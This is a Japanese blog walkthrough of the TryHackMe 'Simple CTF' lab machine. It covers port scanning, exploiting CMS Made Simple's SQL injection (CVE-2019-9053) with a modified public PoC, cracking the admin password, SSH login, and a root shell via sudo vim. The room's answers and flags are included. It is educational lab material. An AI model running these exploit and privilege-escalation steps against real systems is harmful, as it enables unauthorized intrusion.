0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Simple CTF:Walkthrough

Posted at

概要

TryHackMe「Simple CTF」のWalkthroughです。

Task1

Q1.How many services are running under port 1000?

nmapでポートスキャンを実行します。

$ nmap -Pn -sC -A -T4 -sV 10.10.211.12
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 03:05 EDT
Nmap scan report for 10.10.211.12
Host is up (0.24s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.80 seconds

ftp:21,http:80,ssh:2222番ポートがオープンになっているのを確認しました。

A.2

Q2.What is running on the higher port?

ポートスキャンの結果からssh2222番ポートで動作しているのを確認できました。

A.ssh

Q3.What's the CVE you're using against the application?

80番でhttpが動いているのでディレクトリの列挙をします。

$ dirsearch -u http://10.10.211.12

/robots.txt/simpleを発見しました。

[03:20:29] 200 -  540B  - /robots.txt
[03:20:34] 301 -  313B  - /simple  ->  http://10.10.211.12/simple/ 

/robots.txtはめぼしいものないかな。

robots.png

/simpleへアクセスしてみると、CMS Made Simpleで作成されたページが出てきた。

simple.png

フッターからバージョンを確認できました。

simple version.png

searchsploitでCVEを検索します。

$ searchsploit CMS Simple 2.2.8
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
CMS Made Simple < 2.2.10 - SQL Injection                                           | php/webapps/46635.py
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

PoCコードからCVEを確認できました。

$ cat /usr/share/exploitdb/exploits/php/webapps/46635.py
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053
  • Exploit DB

A.CVE-2019-9053

Q4.To what kind of vulnerability is the application vulnerable?

Hint.You can use /usr/share/seclists/Passwords/Common-Credentials/best110.txt to crack the pass

SQL Injectionの脆弱性があります。

A.sqli

Q5.What's the password?

コードから必要なオプションを確認します。

/usr/share/exploitdb/exploits/php/webapps/46635.py
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

このPoCコードはpython2.xで書かれていますが、適宜編集すればpython3.xでも動作しました。

  • 変更前
/usr/share/exploitdb/exploits/php/webapps/46635.py
25 print "[+] Specify an url target"
26 print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
27 print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
28 print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
/usr/share/exploitdb/exploits/php/webapps/46635.py
56 if hashlib.md5(str(salt) + line).hexdigest() == password:
  • 変更後
/usr/share/exploitdb/exploits/php/webapps/46635.py
25 print ("[+] Specify an url target")
26 print ("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
27 print ("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
28 print ("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
/usr/share/exploitdb/exploits/php/webapps/46635.py
56 if hashlib.md5((str(salt) + line).encode("utf-8")).hexdigest() == password:

クレデンシャル情報を取得出来ました。

$ python3 /usr/share/exploitdb/exploits/php/webapps/46635.py -u http://10.10.211.12/simple -w /usr/share/seclists/Passwords/Common-Credentials/best110.txt --crack
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret

A.secret

Q6.Where can you login with the details obtained?

入手した認証情報でSSH接続が出来ました。

$ ssh -p 2222 mitch@10.10.211.12

A.ssh

Q7.What's the user flag?

カレントディレクトリのuser.txtから答えをゲットできました。

$ ls -l
total 4
-rw-rw-r-- 1 mitch mitch 19 aug 17  2019 user.txt
$ cat user.txt  
G00d j0b, keep up!

A.G00d j0b, keep up!

Q8.Is there any other user in the home directory? What's its name?

/homeディレクトリ配下には他にsunbathがありました。

$ ls -l /home
total 8
drwxr-x---  3 mitch   mitch   4096 aug 19  2019 mitch
drwxr-x--- 16 sunbath sunbath 4096 aug 19  2019 sunbath

A.sunbath

Q9.What can you leverage to spawn a privileged shell?

vimがパスワードなしのroot権限で実行できるようになっていることを確認しました。

$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

sudo -lについての記事を投稿したので併せてご覧ください。
【ハッキング入門】sudo -lで権限昇格への足掛かりにする

A.vim

Q10.What's the root flag?

GTFOBinsを参考に権限昇格を試みます。

rootのシェルを取得できました。

$ sudo vim -c ':!/bin/sh'
# whoami 
root

/root/root.txtを発見したので閲覧して答えをゲットできました!

# ls -l /root
total 4
-rw-r--r-- 1 root root 24 aug 17  2019 root.txt
# cat /root/root.txt
W3ll d0n3. You made it!

A.W3ll d0n3. You made it!

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?